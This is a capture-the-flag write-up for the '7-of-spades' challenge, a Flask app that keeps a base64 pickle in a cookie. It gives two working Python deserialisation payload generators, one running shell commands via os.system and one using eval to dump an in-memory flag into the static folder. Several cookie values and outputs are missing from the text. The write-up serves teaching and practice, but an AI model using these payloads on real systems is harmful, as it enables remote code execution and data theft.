The 7-of-spades challenge is a basic Python web application that lists information about Metasploit modules. It uses a pickle saved in base64 to a cookie that can be modified to get remote code execution.
When we click on a module filter we are taken to
/modules?filter=type+%3D%3D+"encoder" and a suspicious cookie has been set that contains some of this information. The cookie looks like this:
Which decodes to (unprintable chars replaced with .s)
...!.......}...filter...type == "encoder".s.
If we modify this cookie to something invalid we notice an error occurs that confirms that we may be on the right path.
We use a simple Python pickle RCE script to generate a base64-ed pickle that will perform code execution for us when it is placed into the cookie and the page is refreshed.
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('whoami > static/test.txt') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
This gives us a base64 string we can insert into our cookie:
As commands will execute without feedback we need a way to get information out of the system. Typically a static folder in a Python Flask application can be found at
./static and anything in here will be visible in the similarly named web path. Using the above test to print the current username into a text file in the static folder we get the following:
This can be used to leak the source code, using
cat app.py, of the Python application
app.py. Inside the source we notice that upon startup there is a flag that is saved into a variable and then the file is unlinked (deleted).
with (app_path / 'flag.png').open('rb') as file_h: FLAG = file_h.read() if not config.DEBUG: (app_path / 'flag.png').unlink()
This means that we can't recover the flag, at least easily, using command execution. However because the variable is still in memory within the current Python application we are able to execute some Python in order to save this to a file in that static folder, this time using
eval instead of
import pickle import base64 class RCE: def __reduce__(self): cmd = "open('static/flag.png','wb').write(FLAG)" return eval, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
Which gives us the following for the cookie value:
Again browsing to the correct location gives us what we are after!
And here it is in all its glory, the 7-of-spades:
And the md5sum of this flag gives:
- 5 of clubs (port 8101)
- 9 of clubs (port 1337)
- queen of hearts (port 9008/9010)
- ace of clubs port 9009
Most of the other flags have been written up by my team-mate rushi and can be found here.